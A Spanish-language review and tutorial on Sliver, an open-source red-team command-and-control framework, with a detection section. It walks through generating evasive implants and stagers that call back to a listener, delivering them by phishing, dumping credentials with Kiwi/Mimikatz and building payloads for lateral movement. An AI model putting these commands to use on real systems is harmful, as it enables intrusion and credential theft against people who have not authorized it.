Sliver – El framework de emulación de adversarios de código abierto que está ganando terreno a Cobalt Strike
Descripción del programa Sliver
Sliver es un framework de post-explotación y emulación de adversarios de código abierto, diseñado para ser una alternativa moderna, multiplataforma y altamente modular a herramientas comerciales como Cobalt Strike. Desarrollado por BishopFox, una reconocida firma de consultoría en ciberseguridad, Sliver fue lanzado en 2020 y desde entonces se ha consolidado como una de las opciones más populares en el ecosistema de pruebas de penetración de código abierto.
A diferencia de Metasploit, que se centra en la explotación inicial de vulnerabilidades, Sliver está diseñado específicamente para la post-explotación: una vez que un atacante (o probador de seguridad) ha comprometido un sistema, Sliver proporciona las herramientas para mantener el acceso, moverse lateralmente, escalar privilegios y ejecutar cargas útiles sigilosas.
El framework está escrito en Golang (Go), lo que le confiere varias ventajas significativas: es multiplataforma (funciona en Windows, macOS y Linux), produce binarios estáticos que no dependen de bibliotecas externas, y ofrece un excelente rendimiento en la generación y gestión de implantes. Sliver soporta múltiples protocolos de Comando y Control (C2): mTLS, WireGuard, HTTP(S) y DNS, permitiendo adaptarse a diferentes entornos de red y requisitos de evasión.
Sliver es utilizado tanto por equipos rojos (Red Teams) legítimos para pruebas de seguridad autorizadas como por actores de amenazas (incluyendo APT29, también conocido como Cozy Bear) debido a su efectividad y bajo costo. Su popularidad ha crecido significativamente, siendo descrito por investigadores como Cybereason como «la alternativa de código abierto a Cobalt Strike y Metasploit».
¿Necesitas un framework de post-explotación moderno, gratuito y multiplataforma para tus pruebas de penetración autorizadas?
Características clave de Sliver
1. Generación dinámica de código y ofuscación en tiempo de compilación
Sliver genera implantes (beacons/agentes) de forma dinámica, lo que significa que cada payload es único y puede ser personalizado con diferentes configuraciones de C2, cifrado y técnicas de evasión. Los implantes se compilan con claves de cifrado asimétricas por binario, lo que dificulta la detección basada en firmas estáticas. Las opciones de ofuscación incluyen:
- Compile-time obfuscation: Ofusca el código durante la compilación para evadir análisis estático
- Deshabilitación de protecciones: Opciones como
--disable-sgnpermiten generar implantes más pequeños y rápidos (aunque menos protegidos) para ciertos escenarios
2. Múltiples protocolos de Comando y Control (C2)
Sliver soporta cuatro protocolos principales para la comunicación entre el implante y el servidor, cada uno con características específicas:
| Protocolo | Descripción | Caso de uso |
|---|---|---|
| mTLS (Mutual TLS) | Protocolo recomendado por defecto. Usa certificados X.509 únicos por implante, firmados por una CA generada por el servidor. Solo soporta TLS v1.2 y el cifrado TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 | Mayor seguridad y rendimiento; requiere tráfico TCP directo a Internet |
| WireGuard | Protocolo VPN moderno y ligero | Conexiones seguras con bajo overhead |
| HTTP(S) | Implementa su propio esquema de cifrado autenticado sub-HTTP, no depende del certificado HTTPS para seguridad. Usa long-polling sobre HTTP 1.1 para comunicación casi en tiempo real | Entornos con firewalls restrictivos; permite mezclar HTTP/HTTPS |
| DNS | El protocolo más lento pero con excelentes propiedades de evasión. Actualmente optimizado para velocidad, no para sigilo (se planea una versión más sigilosa) | Redes donde el tráfico DNS no está inspeccionado |
3. Arquitectura Cliente-Servidor con Modo Multijugador (Multiplayer-mode)
Sliver opera con una arquitectura cliente-servidor que permite que múltiples operadores se conecten simultáneamente al mismo servidor y colaboren en operaciones. El servidor (sliver-server) gestiona los implantes, listeners y datos; el cliente (sliver-client) proporciona la interfaz de control.
# Iniciar el servidor (Linux)
sudo systemctl start sliver.service
sliver
# Conectar un cliente remoto (desde otra máquina)
sliver-client console4. Implantes tipo Session y tipo Beacon
Sliver ofrece dos tipos principales de implantes:
- Session (stageless): Conexión persistente y en tiempo real. Ideal para interacción directa y respuesta inmediata. Los implantes completos pueden generarse con
generate. - Beacon (staged): Implante ligero que «late» periódicamente al servidor para recibir instrucciones, similar al Beacon de Cobalt Strike. Se generan con
generate beacony son más sigilosos.
La técnica de staging permite generar un payload pequeño (stager) que descarga el implante completo desde el servidor en tiempo de ejecución, reduciendo el tamaño del payload inicial.
5. Capacidades de post-explotación avanzadas
Una vez establecida una sesión, Sliver proporciona un conjunto completo de comandos de post-explotación:
- Migración de procesos:
migratepermite moverse a otro proceso para mayor sigilo - Inyección de procesos: Técnicas para ejecutar código en procesos remotos
- Manipulación de tokens de usuario: Para escalada de privilegios
- Ejecución de ensamblados.NET en memoria: Permite cargar y ejecutar herramientas.NET sin tocar disco
- Carga de COFF/BOF: Ejecuta objetos COFF (Common Object File Format) y BOF (Beacon Object Files) en memoria
- Pivoting: Soporta pivotes TCP y named pipes para moverse a través de redes segmentadas
6. Extensibilidad con Armory y scripting
Sliver incluye un sistema de Armory que permite instalar extensiones y herramientas de terceros fácilmente. Además, es completamente scriptable usando JavaScript/TypeScript o Python, lo que permite automatizar tareas complejas y extender la funcionalidad del framework.
7. Detección de Canarios DNS (DNS Canary)
Sliver puede configurar canarios DNS para detectar cuando un equipo azul está analizando la infraestructura. Cuando un canario es activado (por ejemplo, al consultar un subdominio específico), el servidor genera una alerta, permitiendo al operador saber que su infraestructura ha sido descubierta.
8. Integración con Let’s Encrypt
Sliver puede integrarse con Let’s Encrypt para obtener certificados TLS válidos automáticamente, mejorando la legitimidad del tráfico HTTPS y evitando certificados autofirmados sospechosos.
9. Perfiles para reutilización de configuraciones
Sliver permite crear perfiles que guardan configuraciones de generación de implantes, facilitando la reutilización de parámetros en múltiples operaciones:
# Crear un perfil
sliver > profiles new --http https://192.168.1.100:8090 --format shellcode --arch amd64 x64WinShellcode
# Usar el perfil para un stager
sliver > stage-listener --url https://192.168.1.100:8092 --profile x64WinShellcode10. Soporte para múltiples formatos de payload
Sliver puede generar implantes en varios formatos:
- EXE (ejecutable Windows)
- DLL (biblioteca de enlace dinámico)
- Shellcode (código independiente de posición)
- PowerShell (script ofuscado)
- Service (binario de servicio de Windows)
- Shared library (biblioteca compartida para Linux/macOS)
Explicación detallada del funcionamiento
La arquitectura de Sliver se compone de varios elementos interconectados:
1. Servidor Sliver (sliver-server): Es el componente central que coordina todas las operaciones. Almacena los implantes generados, gestiona los listeners (mTLS, HTTP, HTTPS, DNS), maneja las sesiones activas y proporciona la API para los clientes. El servidor genera una Autoridad Certificadora (CA) única la primera vez que se ejecuta, que se utiliza para firmar los certificados de los implantes mTLS.
2. Cliente Sliver (sliver-client): Es la interfaz de control (línea de comandos) que los operadores utilizan para interactuar con el servidor. Permite generar payloads, gestionar sesiones, ejecutar comandos de post-explotación y configurar listeners. El cliente puede ejecutarse en la misma máquina que el servidor o de forma remota.
3. Implantes (Agents/Beacons): Son los payloads ejecutados en los sistemas comprometidos. Se comunican con el servidor a través del protocolo C2 configurado (mTLS, HTTP, etc.). Los implantes pueden ser sesiones (conexión persistente) o beacons (comunicación periódica). Están escritos en Go y compilados estáticamente, lo que los hace portables y difíciles de analizar.
4. Listeners: Son servicios que escuchan en el servidor para aceptar conexiones entrantes de implantes. Sliver soporta listeners para cada protocolo: mtls, http, https, dns, y wireguard.
El flujo de funcionamiento típico de una operación es el siguiente:
Fase 1: Configuración del Servidor
El operador instala Sliver en un servidor (VPS o máquina local) y lo inicia. El servidor genera automáticamente la CA y los certificados necesarios.
Fase 2: Generación del Payload
El operador utiliza el comando generate para crear un implante. Puede especificar el protocolo C2 (--http, --https, --mtls), el formato (--format exe, --format shellcode), la arquitectura (--arch amd64), y opciones de evasión (--evasion).
Fase 3: Configuración del Listener
El operador inicia un listener en el servidor para aceptar conexiones del implante: http --lhost 192.168.1.100 --lport 8090.
Fase 4: Entrega y Ejecución
El payload se entrega al sistema objetivo mediante técnicas de ingeniería social, phishing, o explotación de vulnerabilidades. Una vez ejecutado, el implante se conecta al listener configurado.
Fase 5: Establecimiento de la Sesión
El servidor recibe la conexión y establece una sesión. El operador puede interactuar con ella usando comandos como sessions -i 1.
Fase 6: Post-Explotación
El operador ejecuta comandos en el sistema comprometido: ls, ps, upload, download, migrate, screenshot, etc. También puede cargar extensiones de Armory o scripts personalizados.
Fase 7: Movimiento Lateral
Usando credenciales robadas o técnicas de pivote, el operador despliega implantes en otros sistemas de la red.
Descarga e instalación de Sliver
- Desarrollador: BishopFox
- Página oficial: https://sliver.sh/ (redirige al repositorio de GitHub)
- Repositorio GitHub: https://github.com/BishopFox/sliver
- Versión actual: 1.6.x (master branch), 1.5.x (estable)
- Tamaño instalado: 290.89 MB (en Kali Linux)
- Sistemas operativos compatibles:
- Servidor: Linux, macOS, Windows
- Cliente: Linux, macOS, Windows
- Implantes: Windows, macOS, Linux (y prácticamente cualquier objetivo que soporte Go)
- Licencia: GNU General Public License v3.0 (GPLv3)
- Idioma: Interfaz en inglés
- Soporte técnico: GitHub Issues, Wiki, comunidad en Slack (#golang en el servidor de Bloodhound Gang)
Instalación en Linux (recomendada para el servidor):
# Instalación con un solo comando (recomendado)
curl https://sliver.sh/install | sudo bash
# Iniciar el servicio (opcional, el servicio no se inicia por defecto)
sudo systemctl start sliver.service
# Ejecutar el servidor
sliverInstalación en Kali Linux:
sudo apt update
sudo apt install sliverInstalación desde el código fuente (para la última versión):
git clone https://github.com/BishopFox/sliver.git
cd sliver
makeInstalación del cliente en Windows/macOS:
- Descargar el binario desde la página de releases de GitHub
- Ejecutar
sliver-client.exe console(Windows) o./sliver-client console(macOS/Linux)
Cómo usar Sliver
Advertencia de seguridad: Sliver es una herramienta de prueba de penetración. Debe utilizarse únicamente en entornos autorizados y con permiso explícito del propietario del sistema. Su uso sin autorización constituye un delito de intrusión informática.
Paso 1: Iniciar el servidor
sliverPaso 2: Configurar un listener
# Listener HTTPS en el puerto 8090
sliver > https --lhost 192.168.1.100 --lport 8090
# Listener mTLS (recomendado)
sliver > mtls --lhost 192.168.1.100 --lport 8888Paso 3: Generar un implante
# Generar un ejecutable Windows con C2 HTTPS
sliver > generate --http https://192.168.1.100:8090 --format exe --arch amd64 --save /tmp/sliver.exe
# Generar un implante con ofuscación (más sigiloso pero más grande)
sliver > generate --https https://192.168.1.100:8090 --format exe --arch amd64 --evasion --save /tmp/sliver_evasion.exe
# Generar un implante sin protecciones (más pequeño, para pruebas rápidas)
sliver > generate --http https://192.168.1.100:8090 --format exe --arch amd64 --disable-sgn --skip-symbols --save /tmp/sliver_vanilla.exePaso 4: Configurar un stager (para payloads más pequeños)
# Crear un perfil para el stager
sliver > profiles new --http https://192.168.1.100:8090 --format shellcode --arch amd64 x64Profile
# Iniciar el stager listener
sliver > stage-listener --url https://192.168.1.100:8092 --profile x64ProfilePaso 5: Entregar y ejecutar el payload
Transfiere el payload generado al sistema objetivo y ejecútalo (por ejemplo, mediante phishing o descarga de un archivo).
Paso 6: Interactuar con la sesión
# Ver sesiones activas
sliver > sessions
# Interactuar con una sesión específica (ej. ID 1)
sliver > sessions -i 1
# Comandos básicos dentro de la sesión
sliver (IMPLANT_NAME) > ls
sliver (IMPLANT_NAME) > ps
sliver (IMPLANT_NAME) > screenshot
sliver (IMPLANT_NAME) > upload /tmp/file.txt
sliver (IMPLANT_NAME) > download C:\Users\user\document.txtPaso 7: Post-explotación avanzada
# Migrar a otro proceso (ej. explorer.exe)
sliver (IMPLANT_NAME) > migrate -N explorer.exe
# Cargar extensión Kiwi (Mimikatz) para robo de credenciales
sliver (IMPLANT_NAME) > load kiwi
sliver (IMPLANT_NAME) > creds
# Ejecutar ensamblado.NET en memoria
sliver (IMPLANT_NAME) > execute-assembly /path/to/seatbelt.exe -group=system
# Tomar control de la pantalla
sliver (IMPLANT_NAME) > screenPaso 8: Generar payloads adicionales (movimiento lateral)
# Generar un payload para otro sistema desde la sesión actual
sliver (IMPLANT_NAME) > generate --http https://192.168.1.100:8090 --format exe --save lateral.exeObservaciones sobre el programa Sliver
Frente a otros frameworks de post-explotación como Cobalt Strike (comercial) y Metasploit (open source), Sliver se posiciona como una alternativa moderna, gratuita y altamente efectiva. Su popularidad ha crecido exponencialmente desde su lanzamiento en 2020, siendo adoptado tanto por equipos rojos legítimos como por actores de amenazas sofisticados, incluyendo APT29 (Cozy Bear) y operadores de malware como Bumblebee.
Ventajas clave sobre Cobalt Strike:
- Código abierto y gratuito: Sliver es completamente gratuito bajo GPLv3, mientras que Cobalt Strike tiene un coste de miles de dólares por licencia.
- Transparencia y auditoría: Al ser open source, cualquier organización puede auditar el código para verificar que no contiene puertas traseras.
- Extensibilidad: Soporta scripting en Python y JavaScript, además de extensiones vía Armory.
- Multiplataforma: El servidor puede ejecutarse en Windows, macOS y Linux, no solo en Linux.
Ventajas clave sobre Metasploit:
- Enfoque en post-explotación: Mientras que Metasploit es excelente para la explotación inicial, Sliver está especializado en mantener el acceso y moverse lateralmente.
- Mejor evasión: Los implantes de Sliver (especialmente con ofuscación) son más difíciles de detectar que Meterpreter.
- Modernidad: Escrito en Go, produce binarios estáticos sin dependencias externas, a diferencia de las dependencias de Ruby de Metasploit.
Por qué los actores de amenazas usan Sliver:
Según informes de Cybereason y Proofpoint, Sliver está siendo cada vez más utilizado por grupos de ransomware y APTs porque:
- Es gratuito y fácil de obtener, a diferencia de las versiones crackeadas de Cobalt Strike que pueden contener puertas traseras
- Proporciona funcionalidades comparables a Cobalt Strike (beaconing, múltiples protocolos C2, evasión)
- Su código es abierto, lo que permite a los atacantes personalizarlo para evadir detecciones específicas
- Las firmas de detección son menos maduras que para Cobalt Strike, ya que es más reciente
Detección y defensa contra Sliver:
Los equipos defensivos pueden detectar Sliver mediante:
- Patrones de tráfico de red: Los implantes de Sliver tienen características de «beaconing» con intervalos regulares
- Certificados TLS: Los certificados mTLS generados por Sliver tienen características específicas (ECDSA, firmados por CA propia)
- Nombres de endpoint HTTP: Las URLs de C2 de Sliver siguen patrones particulares (como la extensión
.woffpara staging) - Análisis de procesos: Los implantes de Sliver en memoria pueden ser detectados por soluciones EDR modernas
Casos de uso documentados:
- BishopFox: La empresa que desarrolla Sliver lo utiliza en sus propias operaciones de Red Team
- APT29 (Cozy Bear): Se ha documentado el uso de Sliver por este grupo patrocinado por Rusia
- Bumblebee: La campaña de malware Bumblebee ha utilizado Sliver como carga útil de segunda etapa
El desarrollo de Sliver es muy activo. BishopFox y la comunidad de código abierto contribuyen regularmente con nuevas funcionalidades, correcciones de errores y mejoras de evasión. El proyecto tiene más de 4,700 commits en GitHub y está en constante evolución.
Diferencias clave entre Sliver y otros C2 (según investigación de Cybereason):
| Característica | Sliver | Cobalt Strike | Metasploit |
|---|---|---|---|
| Código | Open source (GPLv3) | Comercial (cerrado) | Open source (BSD) |
| Protocolos C2 | mTLS, WireGuard, HTTP(S), DNS | HTTP(S), DNS, SMB, TCP | HTTP(S), TCP |
| Enfoque principal | Post-explotación | Post-explotación | Explotación inicial |
| Lenguaje | Go | Java/C | Ruby |
| Multiplayer | Sí | Sí | Limitado |
| Extensibilidad | Armory + scripts | Scripts (Aggressor) | Módulos Ruby |
| Costo | Gratuito | Miles de USD | Gratuito |
Limitaciones importantes
- ❌ Curva de aprendizaje pronunciada: Sliver es una herramienta compleja que requiere conocimiento de redes, sistemas operativos y técnicas de post-explotación.
- ❌ Detección por EDR modernos: Aunque ofrece ofuscación, soluciones EDR avanzadas pueden detectar implantes de Sliver, especialmente si no se personalizan adecuadamente.
- ❌ Menor ecosistema que Cobalt Strike: Sliver tiene menos extensiones y scripts preconstruidos que Cobalt Strike (aunque está creciendo rápidamente).
- ❌ Documentación menos madura: La documentación, aunque útil, no es tan extensa como la de Metasploit o Cobalt Strike.
- ❌ Protocolo DNS aún en desarrollo: La implementación DNS de Sliver está optimizada para velocidad, no para sigilo, y se planea una versión más stealthy en el futuro.
Alternativa recomendada
Si buscas alternativas a Sliver para pruebas de penetración y post-explotación, considera las siguientes opciones:
Cobalt Strike (comercial): Sigue siendo el estándar de oro para Red Teams profesionales, con un ecosistema maduro de extensiones y mejor evasión de EDR. Ideal para operaciones de larga duración.
Metasploit Framework (open source): Mejor para la fase de explotación inicial y para aprender los fundamentos del hacking ético. Su post-explotación (Meterpreter) es potente pero más detectable que Sliver.
Havoc (open source): Framework moderno escrito en C++/Python con una interfaz gráfica similar a Cobalt Strike. Menos conocido pero en crecimiento.
Mythic (open source): Framework de post-explotación con arquitectura de agentes múltiples, soporte para múltiples lenguajes de payload y una interfaz web. Es altamente modular.
Empire (open source): Framework centrado en PowerShell y Python, ideal para entornos Windows y escenarios de evasión.
Sliver es la herramienta de post-explotación de código abierto más prometedora del momento, ofreciendo un equilibrio excepcional entre funcionalidad, evasión y costo. Es ideal para equipos rojos con presupuesto limitado, investigadores de seguridad y profesionales que desean entender las técnicas modernas de post-explotación sin la inversión de Cobalt Strike. Puedes descargarlo desde su repositorio de GitHub o instalarlo directamente en Kali Linux con sudo apt install sliver.
Sección FAQ
¿Sliver es gratis o de pago?
Sliver es completamente gratuito y de código abierto bajo la licencia GNU General Public License v3.0 (GPLv3). No tiene versiones de pago ni funcionalidades bloqueadas.
¿Funciona en Linux, macOS, Windows 10 y Windows 11?
Sí, Sliver es multiplataforma. El servidor y el cliente funcionan en Windows, macOS y Linux. Los implantes también son compatibles con estos tres sistemas operativos.
¿Qué diferencia a Sliver de Metasploit?
La principal diferencia es el enfoque. Metasploit está diseñado principalmente para la explotación inicial de vulnerabilidades, mientras que Sliver está especializado en la post-explotación: mantener el acceso, moverse lateralmente y evadir defensas una vez que el sistema ya está comprometido.
¿Por qué los hackers usan Sliver?
Los actores de amenazas usan Sliver porque es gratuito, efectivo y difícil de detectar. Ofrece funcionalidades similares a Cobalt Strike (beaconing, múltiples protocolos C2, evasión) sin el coste de la licencia, y su código abierto permite personalizarlo para evadir detecciones específicas.
¿Qué ha pasado con el desarrollo de Sliver?
El desarrollo de Sliver es muy activo. BishopFox y la comunidad de código abierto contribuyen regularmente al proyecto, que tiene más de 4,700 commits en GitHub. La versión 1.6.x está en desarrollo activo (branch master), mientras que la 1.5.x es la rama estable. Nuevas funcionalidades y correcciones se añaden continuamente.
